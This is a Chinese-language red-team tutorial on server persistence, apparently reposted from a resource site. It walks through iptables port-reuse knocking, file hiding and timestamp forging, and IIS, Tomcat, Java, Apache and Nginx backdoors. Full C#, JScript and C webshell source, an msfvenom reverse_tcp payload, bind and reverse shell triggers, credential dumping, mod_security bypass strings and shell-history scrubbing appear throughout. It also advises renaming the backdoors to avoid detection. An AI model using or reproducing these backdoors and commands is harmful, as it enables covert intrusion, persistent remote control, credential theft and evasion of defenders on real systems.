's/192.168.0.1/127.0.0.1/g' /root/.bash_history IPTables端口复用 >iptables -t nat -N LETMEIN >iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关 >iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关 >iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT >iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN 攻击端: #开启复用 >echo threathuntercoming | socat - tcp:192.168.0.110:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.0.110 #关闭复用 echo threathunterleaving | socat - tcp:192.168.0.110:80 image 文件处理 >chattr +I shell.sh image >vim .shell.sh image >attrib +s +h +r 1.txt image >touch -r 1.file 2.file 修改2file文件的时间跟1file时间相同 IIS_Bin_Backdoor From:https://github.com/WBGlIl/IIS_backdoor IIS_backdoor_dll.dl放入 web 目录的 bin 文件夹中配置 web.config 文件 IIS_backdoor_shell.exe执行命令 image 使用IISBackdoor太明显,容易被看出是后门,这里对后门改名 image image image 重新生成解决方案,dll放入bin目录,web.config修改为 添加完之后会自动在模块中注册好 image 执行payload,msf生成raw格式payload,选择shellcode选项,raw文件拖入即可 >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.raw image IIS_NETDLL_Spy From:https://github.com/Ivan1ee/NetDLLSpy 原作者提及三种方式,第一种编译代码为DLL新建aspx文件实例化后门类来执行命令,第二种是做httphandler映射可指定一个后缀执行命令保存文件在web服务器上,再读取结果。第三种是使用jsc.exe编译js脚本生成dll,添加映射菜刀连接。 这里根据原作者的代码,进行了一下简单的修改,修改后的功能为添加httphandler映射指定一个后缀执行命令显示在页面上,不用保存在服务器中再访问。 代码 using System; using System.Diagnostics; using System.IO; using System.Text; using System.Web; namespace IsapiModules { public class Handler : IHttpHandler { public bool IsReusable { get { return false; } } public void ProcessRequest(HttpContext context) { string input = context.Request.Form["InternetInformationService"]; //command if (context.Request.Form["microsoft"] == "iis")//do command { this.cmdShell(input); } } public void cmdShell(string input) { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.Arguments = "/c " + input; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.Start(); StreamReader output = process.StandardOutput; String result = output.ReadToEnd(); output.Close(); output.Dispose(); HttpContext.Current.Response.Write(result); } } } 保存为随意后缀,使用csc编译。 >C:\Windows\Microsoft.NET\Framework\v2.50727\csc.exe /t:library /r:System.Web.dll -out:C:\inetpub\wwwroot\Bin\SystemIO.dll C:\inetpub\wwwroot\bin\code.cs image Web.config文件添加 image 打开IIS管理器,可以看到处理映射管理器中已经添加了模块。 image 现在随意访问个xxx后缀的文件 image 带参数访问 microsoft=iis&InternetInformationService=net user image image 第三种连接菜刀,这里也对代码修改了一下。 import System; import System.Web; import System.IO; package IsapiModule { public class Handler implements IHttpHandler { function IHttpHandler.ProcessRequest(context : HttpContext) { context.Response.Write("404 Not Found") var I = context; var Request = I.Request; var Response = I.Response; var Server = I.Server; eval(context.Request["Internet"]); //pass } function get IHttpHandler.IsReusable() : Boolean{ return true} } } 使用jsc编译 >C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\inetpub\wwwroot\Bin\IsapiModule.Handler.dll C:\inetpub\wwwroot\bin\code.js image 编辑web.config,添加映射,这里指定的后缀是.iis 已自动加入了映射。现在随便访问个iis后缀的文件。 image image 可使用菜刀直接连接 image image IIS_RAID From:https://github.com/0x09AL/IIS-Raid 在vs2019下编译 在Functions.h中修改连接密码,passfile是dump下来的密码保存的位置,com_header是后门和服务器通信的请求头。 image 打开项目修改完你的密码,直接ctrl+B生成解决方案即可(这里生成的是release版本) Dll传到服务器,改个名字,执行添加模块 >C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:IsapiDotNet /image:"c:\windows\system32\inetsrv\IsapiDotNet.dll" /add:true image 在模块中可以看到已经存在了 image 远程连接 >python3 iis_controller.py --url http://192.168.0.98 --password thisismykey 执行命令的方式是 >cmd +命令 image Dump命令可以dump下来IIS站点的登录的信息,保存在设置的位置。 Inject可以执行shellcode Cs/msf生成raw格式的shellcode >inject 位置 image JAVA Web Backdoor From:https://www.freebuf.com/articles/web/172753.html https://github.com/rebeyond/memShell 当获取一个webshell或bashshell权限时,下载后门执行注入进程形成无文件复活后门 下载后解压到任意web目录 image 得到2个jar文件 执行,password设置为你的密码 >java -jar inject.jar password image 注入成功,在web任意页面任意url执行命令 http://192.168.0.121:8080/css/app.css?pass_the_world=password image 可执行命令,反弹shell,上传/下载文件,列目录,读文件,添加代理,连接菜刀 image Tomcat JSP HideShell From:https://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA https://github.com/QAX-A-Team/HideShell 把自己的shell和hideshell传入靶机,先访问自己的shell,目的是为了让 Tomcat 将它编译,并生成 JspServletWrapper 保存在 JspRuntimeContext 中。 image 再访问hideshell.jsp,点击hide你的shell。 image 已经隐藏了 image image 再访问hideshell.jsp,可以看到隐藏后的shell的文件名。 image 访问看看 image 当然,也可以把hideshell自身隐藏了,那访问它的方式就是hidden-hideshell.jsp image 目录里啥都没了 image 此方式隐藏之后请求不会产生日志 image 那如果把shelltest文件夹删掉权限还会在吗? image 是在的 image Apache Module后门1 From:https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor 生成模板结构 >apxs -g -n auth image 编辑mod_auth.c文件 #include "httpd.h" #include "http_config.h" #include "http_protocol.h" #include "ap_config.h" #include #include static int auth_handler(request_rec *r) { const apr_array_header_t *fields; int i; apr_table_entry_t *e = 0; char FLAG = 0; fields = apr_table_elts(r->headers_in); e = (apr_table_entry_t *) fields->elts; for(i = 0; i < fields->nelts; i++) { if(strcmp(e[i].key, "Authorizations") == 0){ FLAG = 1; break; } } if (FLAG){ char * command = e[i].val; FILE* fp = popen(command,"r"); char buffer[0x100] = {0}; int counter = 1; while(counter){ counter = fread(buffer, 1, sizeof(buffer), fp); ap_rwrite(buffer, counter, r); } pclose(fp); return DONE; } return DECLINED; } static void auth_register_hooks(apr_pool_t *p) { ap_hook_handler(auth_handler, NULL, NULL, APR_HOOK_MIDDLE); } module AP_MODULE_DECLARE_DATA auth_module = { STANDARD20_MODULE_STUFF, NULL, /* create per-dir config structures */ NULL, /* merge per-dir config structures */ NULL, /* create per-server config structures */ NULL, /* merge per-server config structures */ NULL, /* table of config file commands */ auth_register_hooks /* register hooks */ }; 编译后重启apache >apxs -i -a -c mod_auth.c && service apache2 restart image 原文件接受的头是backdoor太明显,这里换成了Authorizations image 或使用python来执行 image #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import sys def exploit(host, port, command): headers = { "Authorizations": command } url = "http://%s:%d/" % (host, port) response = requests.get(url, headers=headers) content = response.content print content def main(): if len(sys.argv) != 3: print "Usage : " print "\tpython %s [HOST] [PORT]" % (sys.argv[0]) exit(1) host = sys.argv[1] port = int(sys.argv[2]) while True: command = raw_input("$ ") if command == "exit": break exploit(host, port, command) if __name__ == "__main__": main() Apache Module后门2 From:https://github.com/VladRico/apache2_BackdoorMod .load文件传入/etc/apache2/mods-available/目录,.so文件传入/usr/lib/apache2/modules/目录 启动后门模块,重启apache >a2enmod backdoor&service apache2 restart image Cookie里添加字段password=backdoor 访问http://ip/ping返回如下图说明后门正常允许 image 访问http://ip/bind/12345 开启正向连接,攻击机执行nc ip 12345即可 image 访问http://ip/revtty/192.168.0.107/12138 开启反向连接,攻击机109执行nc监听12138即可 image 访问http://ip/proxy/1337开启socks代理 image image image 想要结束socks代理可执行 >echo "imdonewithyou" |nc 192.168.0.111 1337 image 即可结束socks代理 以上原作者的文件命名backdoor太明显,可以自己修改文件重新编译 创建模板结构命名为phpmodev image image 修改cookie内容为迷惑字段Authorizations=PHPSESSIONID image Apache Module后门3 From: https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247491179&idx=1&sn=ab26fe36ac74f5b140e91279ae8018c7 生成模板结构 >apxs -g -n phpdevmod image 编辑mod_phpdevmod.c文件 编译 >make -e CC=x86_64-linux-gnu-g++ image 生成的.so文件在/.libs目录下 image 将其复制到/usr/lib/apache2/modules/目录 修改/etc/apache2/mods-enabled/php7.0.load文件,添加如下 LoadModule phpdevmod_module /usr/lib/apache2/modules/mod_phpdevmod.so setHandler phpdevmod image 需重启apache服务 访问后门方式http://ip/qq.jpg?命令的url编码 直接访问后门文件 image 636174202F6574632F706173737764为cat /etc/passwd的url编码 image Nginx Lua后门 From:https://github.com/netxfly/nginx_lua_security https://github.com/Y4er/Y4er.com/blob/251d88d8a3cf21e9bafe15c43d7900ffeacfa7ea/content/post/nginx-lua-backdoor.md 后门利用的前提是获取到root权限,nginx安装有lua模块。 在nginx.conf中http节处添加,指定lua脚本位置,以及nginx启动时加载的脚本 image 在lua目录/waf/中新建Init.lua,内容如下,require nginx表示加载nginx.lua中的模块。 image /waf/目录中新建nginx.lua实现执行命令,参数为waf。 image 在nginx配置文件中加入location。 image 效果: image PwnNginx From:https://github.com/t57root/pwnginx 解压好后编译客户端 >make image 编辑nginx的源文件/src/core/nginx.c找到configure arguments:在后面添加--prefix=/usr/local/nginx\n指定的是nginx安装的目录 image 重新编译nginx添加后门模块 >./configure --prefix=/usr/local/nginx/ --add-module=/tmp/pwnginx-master/module image >make image 覆盖新的nginx到原nginx目录 >cp -f objs/nginx /usr/local/nginx/sbin/nginx image 重启nginx >killall nginx&/usr/local/nginx/sbin/nginx 连接 >./pwnginx shell 目标机 nginx端口 密码 默认密码是t57root,密码的配置文件在pwnginx-master\module\config.h文件夹中,可在重新编译nginx前修改密码 image image 此后门也可开启socks隧道 渗透和红队tips 父进程破坏 命令explorer.exe / root与cmd.exe / c类似,只不过使用explorer会破坏进程树,会创建新实例explorer.exe,使之成为新实例下的子进程 image image loT高频率账户密码 image Bypass mod_security Xss和注入bypass mod_security /*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... – /*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5— %75%6e%69on = union %73%65%6cect = select %75%6e%69 = uni = url encode %73%65%6c = sel = url encode 查找git和svn的字典 image Top 25 重定向dorks image 使用grep快速去除垃圾数据 curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"* cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"* image image 已泄露的密码整理出的字典 https://github.com/FlameOfIgnis/Pwdb-Public 从网上泄露的10亿条数据中整理出的。里面257,669,588被筛选为损坏的数据或测试账户。 10亿个凭据可归结为168,919,919密码和393,386,953用户名. 平均密码长度为9.4822个字符 12.04%包含特殊字符,28.79%密码仅是字母,26.16%仅是小写,13.37%仅是数字,8.83%的密码仅被发现一次 与rockyou的对比,rockyou包含14,344,391个密码,本字典与rockyou相差80% 还有根据不同国家生成的小字典 |
乐享资源网来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,乐享资源网一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除
投稿邮箱:1372234654@qq.com 广告位购买QQ:1372234654